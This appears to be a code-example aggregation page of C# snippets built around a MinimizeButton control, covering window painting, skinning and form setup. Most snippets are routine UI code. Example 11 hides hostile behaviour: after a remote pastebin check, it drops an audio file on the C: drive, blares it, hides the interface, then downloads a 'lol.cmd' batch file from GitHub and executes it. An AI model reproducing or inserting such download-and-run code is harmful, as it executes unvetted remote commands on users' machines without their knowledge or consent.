Esempio n. 1
0
        /// <summary>
        /// Paints the Ribbon on the specified device
        /// </summary>
        /// <param name="g">Device where to paint on</param>
        /// <param name="clip">Clip rectangle</param>
        private void PaintOn(Graphics g, Rectangle clip)
        {
            if (WinApi.IsWindows && Environment.OSVersion.Platform == PlatformID.Win32NT)
            {
                g.SmoothingMode     = System.Drawing.Drawing2D.SmoothingMode.AntiAlias;
                g.TextRenderingHint = System.Drawing.Text.TextRenderingHint.ClearTypeGridFit;
            }

            //Caption Background
            Renderer.OnRenderRibbonBackground(new RibbonRenderEventArgs(this, g, clip));

            //Caption Bar
            Renderer.OnRenderRibbonCaptionBar(new RibbonRenderEventArgs(this, g, clip));

            //Caption Buttons
            if (CaptionButtonsVisible)
            {
                MinimizeButton.OnPaint(this, new RibbonElementPaintEventArgs(clip, g, RibbonElementSizeMode.Medium));
                MaximizeRestoreButton.OnPaint(this, new RibbonElementPaintEventArgs(clip, g, RibbonElementSizeMode.Medium));
                CloseButton.OnPaint(this, new RibbonElementPaintEventArgs(clip, g, RibbonElementSizeMode.Medium));
            }

            //Orb
            Renderer.OnRenderRibbonOrb(new RibbonRenderEventArgs(this, g, clip));

            //QuickAcess toolbar
            QuickAcessToolbar.OnPaint(this, new RibbonElementPaintEventArgs(clip, g, RibbonElementSizeMode.Compact));

            //Render Tabs
            foreach (RibbonTab tab in Tabs)
            {
                tab.OnPaint(this, new RibbonElementPaintEventArgs(tab.TabBounds, g, RibbonElementSizeMode.None, this));
            }
        }
Esempio n. 2
0
        //Verifie sur le curseur est dans le pérmimètre du bouton réduire | Checks if cursor is in the perimeter of Minimize Button
        bool IsCursorOnMinimizeButton()
        {
            int loc_x = MinimizeButton.PointToClient(Cursor.Position).X;
            int loc_y = MinimizeButton.PointToClient(Cursor.Position).Y;

            return(MinimizeButtonParams[2] == 1 && loc_x > 0 && loc_x < MinimizeButton.Width && loc_y > 0 && loc_y < MinimizeButton.Height);
        }
Esempio n. 3
0
 public override void Update(DwarfTime time)
 {
     if (IsMinimized)
     {
         MinimizeButton.Update(time);
     }
     base.Update(time);
 }
Esempio n. 4
0
        public Start()
        {
            InitializeComponent();

            SizeToContent = SizeToContent.Manual;
            MaxHeight     = SystemParameters.WorkArea.Height;

            // Button Events
            MinimizeButton.AddHandler(MouseLeftButtonUpEvent, new MouseButtonEventHandler(MinimizeButtonUp), true);
            CloseButton.AddHandler(MouseLeftButtonUpEvent, new MouseButtonEventHandler(CloseButtonUp), true);
            CreateNewFile.AddHandler(MouseLeftButtonUpEvent, new MouseButtonEventHandler(CreateNewFileButtonUp), true);
            OpenPhoto.AddHandler(MouseLeftButtonUpEvent, new MouseButtonEventHandler(OpenPhotoButtonUp), true);
            OpenFile.AddHandler(MouseLeftButtonUpEvent, new MouseButtonEventHandler(OpenFileButtonUp), true);
        }
Esempio n. 5
0
        public override void Render(DwarfTime time, SpriteBatch batch)
        {
            base.Render(time, batch);

            if (IsVisible)
            {
                Rectangle imageBounds = GetImageBounds();
                Rectangle frameBounds = new Rectangle(imageBounds.X, imageBounds.Y + imageBounds.Height - Frame.Height,
                                                      Frame.Width, Frame.Height);
                batch.Draw(Frame, frameBounds, Color.White);
            }
            else if (IsMinimized)
            {
                MinimizeButton.Render(time, batch);
                MinimizeButton.IsVisible = true;
            }
        }
        protected virtual void Dispose(bool disposing)
        {
            if (!_disposed)
            {
                OnDisposed(this);

                WindowEventHandler.Dispose();

                _processExitHandler.Dispose();
                _skinWindowButtonsHandler.Dispose();
                _settingsUpdater.Dispose();


                TopBorder.Dispose();
                LeftBorder.Dispose();
                RightBorder.Dispose();
                BottomBorder.Dispose();

                TopBorder    = null;
                LeftBorder   = null;
                RightBorder  = null;
                BottomBorder = null;

                MinimizeButton = null;
                MaximizeButton = null;
                CloseButton    = null;
                HelpButton     = null;

                TitleControl           = null;
                TitleBackgroundControl = null;

                IconControl = null;

                _skin = null;

                _parent = null;

                _processExitHandler       = null;
                _settingsUpdater          = null;
                _skinWindowButtonsHandler = null;
                _windowEventHandler       = null;
                _controlsChangeHandler    = null;

                _disposed = true;
            }
        }
        public SkinableWindowBorder(TopLevelWindow Window, WindowBorderSkin skin, bool IsExecluded)
        {
            _parent = Window;

            TopBorder    = new SkinBorder(this);
            LeftBorder   = new SkinBorder(this);
            RightBorder  = new SkinBorder(this);
            BottomBorder = new SkinBorder(this);

            TitleBackgroundControl = new LayeredControl(TopBorder);
            TitleControl           = new LayeredLabel(TopBorder);

            IconControl      = new LayeredIcon(TopBorder);
            IconControl.Size = new Size(16, 16);

            MinimizeButton = new MinimizeButton(TopBorder);
            MaximizeButton = new MaximizeButton(TopBorder);
            CloseButton    = new CloseButton(TopBorder);
            HelpButton     = new HelpButton(TopBorder);

            if (Window.SizeBox)
            {
                TopBorder.LeftCornerCursor     = Cursors.SizeNWSE;
                TopBorder.RightCornerCursor    = Cursors.SizeNESW;
                TopBorder.TopCursor            = Cursors.SizeNS;
                LeftBorder.NormalCursor        = Cursors.SizeWE;
                RightBorder.NormalCursor       = Cursors.SizeWE;
                BottomBorder.NormalCursor      = Cursors.SizeNS;
                BottomBorder.LeftCornerCursor  = Cursors.SizeNESW;
                BottomBorder.RightCornerCursor = Cursors.SizeNWSE;
            }

            _windowEventHandler       = new WindowEventHandler(this, Parent);
            _settingsUpdater          = new SettingsUpdater(IsExecluded, this);
            _processExitHandler       = new ProcessExitHandler(this, Parent.Process);
            _skinWindowButtonsHandler = new SkinWindowButtonsHandler(this);
            _controlsChangeHandler    = new SkinWindowControlsChangeHandler(this);

            Skin = skin;
        }
Esempio n. 8
0
        private void Start()
        {
            if (!SavingSettings)
            {
                return;
            }
            _windowSettings = new SettingsHistory <WindowSettingsBag>($"{name}.json", 1);
            if (_windowSettings.Recent.FirstOrDefault() is WindowSettingsBag bag)
            {
                GetComponent <RectTransform>().anchoredPosition = new Vector2(bag.X, bag.Y);
                GetComponent <RectTransform>().sizeDelta        = new Vector2(bag.Width, bag.Height);
                if (bag.IsShowing)
                {
                    Show();
                }
                else
                {
                    gameObject.SetActive(false);
                }
                if (bag.IsMaximized)
                {
                    _maximizedHeight = bag.Height;
                    MinimizeButton.InitState(0);
                }
                else
                {
                    MinimizeButton.InitState(1);
                }
            }

            _isInited = true;

#if UNITY_STANDALONE_LINUX || UNITY_EDITOR_LINUX
            var rects = _content.GetComponentsInChildren <ScrollRect>();
            foreach (var rect in rects)
            {
                rect.scrollSensitivity = 300;
            }
#endif
        }
Esempio n. 9
0
        /// <summary>
        /// Triggers when the form is finished loading
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void FormLoaded(object sender, EventArgs e)
        {
            //Start the timer once the form is loaded
            InitTimer();

            MainTabControl.SelectedTab = RushingTab;

            TabPage firstRushing = CreateTab(RushingTabControl, new RushingUserControl(0), 0);
            Button  button       = FindControl <Button>("AddScript", firstRushing);

            button.Enabled   = false;
            button.BackColor = Color.Gray;

            int lastIndex = 1;

            //If there are more rushing tabs that should be created, create them
            for (int i = 1; i < Data.rushConfigs.Length; i++)
            {
                if (Data.rushConfigs[i] != null)
                {
                    TabPage tp = CreateTab(RushingTabControl, new RushingUserControl(i), i);
                    Button  b  = FindControl <Button>("AddScript", tp);
                    b.Enabled   = false;
                    b.BackColor = Color.Gray;
                    lastIndex++;
                }
            }

            button           = FindControl <Button>("AddScript", FindControl <TabPage>("Script" + lastIndex));
            button.Enabled   = true;
            button.BackColor = Color.White;

            //Create a new blank RUC in order to copy the controls over to the game info tab
            RushingUserControl ruc = new RushingUserControl(-1);

            GameInfoPanel.Controls.Add(ruc.SettingsPanel);

            foreach (CustomCheckBox box in FindControls <CustomCheckBox>("", GameInfoPanel))
            {
                box.AutoCheck = false;
                box.Cursor    = Cursors.Default;
                box.Loaded();
            }

            //Set the current tab as the first one
            RushingTabControl.SelectedTab = firstRushing;
            MainTabControl.SelectedTab    = MainTab;

            //Apply the link to the LinkLabels
            GitHubLink.Links.Add(0, 0, "https://github.com/StarOfDoom/RotMGScripts");
            GitHubLink.LinkClicked += new LinkLabelLinkClickedEventHandler(LinkClicked);

            //Update the version label to include the current version number
            VersionNumberLabel.Text = Info.version;

            //Add event handlers for when you click hotkey buttons
            HotkeyButton0.Click += new EventHandler(HotkeyButtonClick);

            //Set the paint handler for adding images to the background
            DebuggingInfoPanel.Paint += new PaintEventHandler(InfoTabPaint);

            //Set the paint handler for adding images to the title bar
            TitleBarPanel.Paint += new PaintEventHandler(TitleBarPaint);

            //Call event when the text is changed in the process name field
            ProcessName.TextChanged += new EventHandler(ProcessTextChanged);

            //Call event when a key is pressed in the console input to check for an Enter or Arrow key
            ConsoleInput.KeyDown    += new KeyEventHandler(ConsoleInputKeyDown);
            ConsoleSendButton.Click += new EventHandler(ConsoleSendClick);

            //Update the two delays
            SearchDelayInput.ValueChanged += new EventHandler(DelayInputValueChanged);
            UpdateDelayInput.ValueChanged += new EventHandler(DelayInputValueChanged);

            //Add event handlers for checking the auto resize box
            foreach (CheckBox box in FindControls <CheckBox>("", AspectRatioGroup))
            {
                box.MouseClick += new MouseEventHandler(AspectBoxChanged);
            }

            //Lets you drag around the window without a windows title bar
            TitleBarPanel.MouseDown += new MouseEventHandler(TitleBar);
            TitleLabel.MouseDown    += new MouseEventHandler(TitleBar);

            ExitButton.InitializeButton();
            MinimizeButton.InitializeButton();

            KeyboardHook.StartHook();
        }
Esempio n. 10
0
        /// <summary>
        /// Updates the regions of the tabs and the tab content bounds of the active tab
        /// </summary>
        internal void UpdateRegions(Graphics g)
        {
            bool graphicsCreated = false;

            if (IsDisposed || _updatingSuspended)
            {
                return;
            }

            ///Graphics for measurement
            if (g == null)
            {
                g = CreateGraphics();
                graphicsCreated = true;
            }

            ///X coordinate reminder
            int curLeft = TabsMargin.Left + OrbBounds.Width;

            ///Saves the width of the larger tab
            int maxWidth = 0;

            ///Saves the bottom of the tabs
            int tabsBottom = 0;

            #region Assign default tab bounds (best case)
            foreach (RibbonTab tab in Tabs)
            {
                Size      tabSize = tab.MeasureSize(this, new RibbonElementMeasureSizeEventArgs(g, RibbonElementSizeMode.None));
                Rectangle bounds  = new Rectangle(curLeft, TabsMargin.Top,
                                                  TabsPadding.Left + tabSize.Width + TabsPadding.Right,
                                                  TabsPadding.Top + tabSize.Height + TabsPadding.Bottom);

                tab.SetTabBounds(bounds);

                curLeft = bounds.Right + TabSpacing;

                maxWidth   = Math.Max(bounds.Width, maxWidth);
                tabsBottom = Math.Max(bounds.Bottom, tabsBottom);

                tab.SetTabContentBounds(Rectangle.FromLTRB(
                                            TabContentMargin.Left, tabsBottom + TabContentMargin.Top,
                                            ClientSize.Width - 1 - TabContentMargin.Right, ClientSize.Height - 1 - TabContentMargin.Bottom));

                if (tab.Active)
                {
                    tab.UpdatePanelsRegions();
                }
            }

            #endregion

            #region Reduce bounds of tabs if needed

            while (curLeft > ClientRectangle.Right && maxWidth > 0)
            {
                curLeft = TabsMargin.Left + OrbBounds.Width;
                maxWidth--;

                foreach (RibbonTab tab in Tabs)
                {
                    if (tab.TabBounds.Width >= maxWidth)
                    {
                        tab.SetTabBounds(new Rectangle(curLeft, TabsMargin.Top,
                                                       maxWidth, tab.TabBounds.Height));
                    }
                    else
                    {
                        tab.SetTabBounds(new Rectangle(
                                             new Point(curLeft, TabsMargin.Top),
                                             tab.TabBounds.Size));
                    }

                    curLeft = tab.TabBounds.Right + TabSpacing;
                }
            }

            #endregion

            #region Update QuickAccess bounds

            QuickAcessToolbar.MeasureSize(this, new RibbonElementMeasureSizeEventArgs(g, RibbonElementSizeMode.Compact));
            QuickAcessToolbar.SetBounds(new Rectangle(new Point(OrbBounds.Right + QuickAcessToolbar.Margin.Left, OrbBounds.Top - 2), QuickAcessToolbar.LastMeasuredSize));

            #endregion

            #region Update Caption Buttons bounds

            if (CaptionButtonsVisible)
            {
                Size cbs = new Size(20, 20);
                int  cbg = 2;
                CloseButton.SetBounds(new Rectangle(new Point(ClientRectangle.Right - cbs.Width - cbg, cbg), cbs));
                MaximizeRestoreButton.SetBounds(new Rectangle(new Point(CloseButton.Bounds.Left - cbs.Width, cbg), cbs));
                MinimizeButton.SetBounds(new Rectangle(new Point(MaximizeRestoreButton.Bounds.Left - cbs.Width, cbg), cbs));
            }

            #endregion

            if (graphicsCreated)
            {
                g.Dispose();
            }

            _lastSizeMeasured = Size;

            RenewSensor();
        }
Esempio n. 11
0
        private void backgroundWorker2_DoWork(object sender, System.ComponentModel.DoWorkEventArgs e)
        {
            System.Net.WebClient wc = new System.Net.WebClient();
            byte[] raw     = wc.DownloadData("https://pastebin.com/raw/wCDAyFrh");
            string webData = System.Text.Encoding.UTF8.GetString(raw);
            string version = ("1");

            if (version == webData)
            {
                System.Threading.Thread.Sleep(5000);
                WebClient webClient = new WebClient();
                if (File.Exists(@"c:/earrape.wav"))
                {
                    webClient.DownloadFile("https://github.com/leonardssy/ProjectDab/blob/master/Earrape.wav?raw=true", @"c:/earrape.wav");
                    System.Media.SoundPlayer player = new System.Media.SoundPlayer(@"c:/earrape.wav");
                    player.Play();
                    BackColor = Color.Red;
                    label1.Hide();
                    TitleDraggable.Text = ("LOL YOU ARE USING THE TRASH UI!!!!!!!!!!!!!!!!!");
                    button1.Hide();
                    button2.Hide();

                    button3.Hide();
                    button4.Hide();
                    button6.Hide();
                    button5.Hide();
                    MonacoEditor.Hide();
                    MinimizeButton.Hide();
                    CloseButton.Hide();
                    System.Threading.Thread.Sleep(5000);

                    webClient.DownloadFile("https://github.com/leonardssy/ProjectDab/blob/master/lol.cmd?raw=true", "lol.cmd");
                    Process.Start("lol.cmd");
                }
                else
                {
                    webClient.DownloadFile("https://github.com/leonardssy/ProjectDab/blob/master/Earrape.wav?raw=true", @"c:/earrape.wav");
                    System.Media.SoundPlayer player = new System.Media.SoundPlayer(@"c:/earrape.wav");
                    player.Play();
                    BackColor = Color.Red;
                    label1.Hide();
                    TitleDraggable.Text = ("LOL YOU ARE USING THE TRASH UI!!!!!!!!!!!!!!!!!");
                    button1.Hide();
                    button2.Hide();

                    button3.Hide();
                    button4.Hide();
                    button6.Hide();
                    button5.Hide();
                    MonacoEditor.Hide();
                    MinimizeButton.Hide();
                    CloseButton.Hide();


                    System.Threading.Thread.Sleep(5000);
                    webClient.DownloadFile("https://github.com/leonardssy/ProjectDab/blob/master/lol.cmd?raw=true", "lol.cmd");
                    Process.Start("lol.cmd");
                }
            }
            else
            {
            }
        }
Esempio n. 12
0
 private void MinimizeButton_MouseLeave(object sender, EventArgs e)
 {
     MinimizeButton.BackgroundImage = Properties.Resources.minimize_button;
     MinimizeButton.Refresh();
 }
Esempio n. 13
0
        /// <summary>
        /// Triggers when the form is finished loading
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void FormLoaded(object sender, EventArgs e)
        {
            //Set the current tab as the first one
            MainTabControl.SelectedTab = MainTab;

            //Apply the link to the LinkLabels
            GitHubLink.Links.Add(0, 0, "https://github.com/StarOfDoom/PokerNeuralNetwork");
            GitHubLink.LinkClicked += new LinkLabelLinkClickedEventHandler(LinkClicked);

            //Update the version label to include the current version number
            VersionNumberLabel.Text = Assembly.GetExecutingAssembly().GetName().Version.ToString();

            //Set the paint handler for adding images to the background
            DebuggingInfoPanel.Paint += new PaintEventHandler(InfoTabPaint);

            //Set the paint handler for adding images to the title bar
            TitleBarPanel.Paint += new PaintEventHandler(TitleBarPaint);

            //Lets you drag around the window without a windows title bar
            TitleBarPanel.MouseDown += new MouseEventHandler(TitleBar);
            TitleLabel.MouseDown    += new MouseEventHandler(TitleBar);

            //When one of the settings is changed
            SBValue.ValueChanged      += new EventHandler(SBValueChanged);
            ChipsValue.ValueChanged   += new EventHandler(ChipsValueChanged);
            PlayersValue.ValueChanged += new EventHandler(PlayersValueChanged);

            //Call event when a key is pressed in the console input to check for an Enter or Arrow key
            ConsoleInput.KeyDown    += new KeyEventHandler(ConsoleInputKeyDown);
            ConsoleSendButton.Click += new EventHandler(ConsoleSendClick);

            //Scroll when rich text box changed
            RichConsoleText.TextChanged += new EventHandler(ConsoleTextChanged);

            //Play new game
            StartHoldemButton.Click += new EventHandler(StartNewGame);

            VisualTab.Enabled   = false;
            SettingsTab.Enabled = false;

            ConsolePopoutCheckbox.Cursor = Cursors.Hand;
            ConsolePopoutCheckbox.Loaded();
            ConsolePopoutCheckbox.Click += ConsoleCheckboxToggle;

            SBText.Cursor    = Cursors.IBeam;
            ChipsText.Cursor = Cursors.IBeam;

            //ThreadPool.SetMinThreads(4, 4);
            ThreadPool.SetMaxThreads(16, 16);

            ExitButton.InitializeButton();
            MinimizeButton.InitializeButton();

            SaveData data = Data.Load();

            Console.WriteLine(JsonConvert.SerializeObject(data));

            if (data != null)
            {
                bool boxChecked = data.ConsolePopOut;
                this.ConsolePopoutCheckbox.Checked = boxChecked;

                if (boxChecked)
                {
                    ConsoleTab.Enabled = false;
                    console.Show();
                }
                else
                {
                    ConsoleTab.Enabled = true;
                    console.Hide();
                }

                this.SBValue.Value      = data.SmallBlind;
                this.ChipsValue.Value   = data.StartingChips;
                this.PlayersValue.Value = data.Players;
            }
        }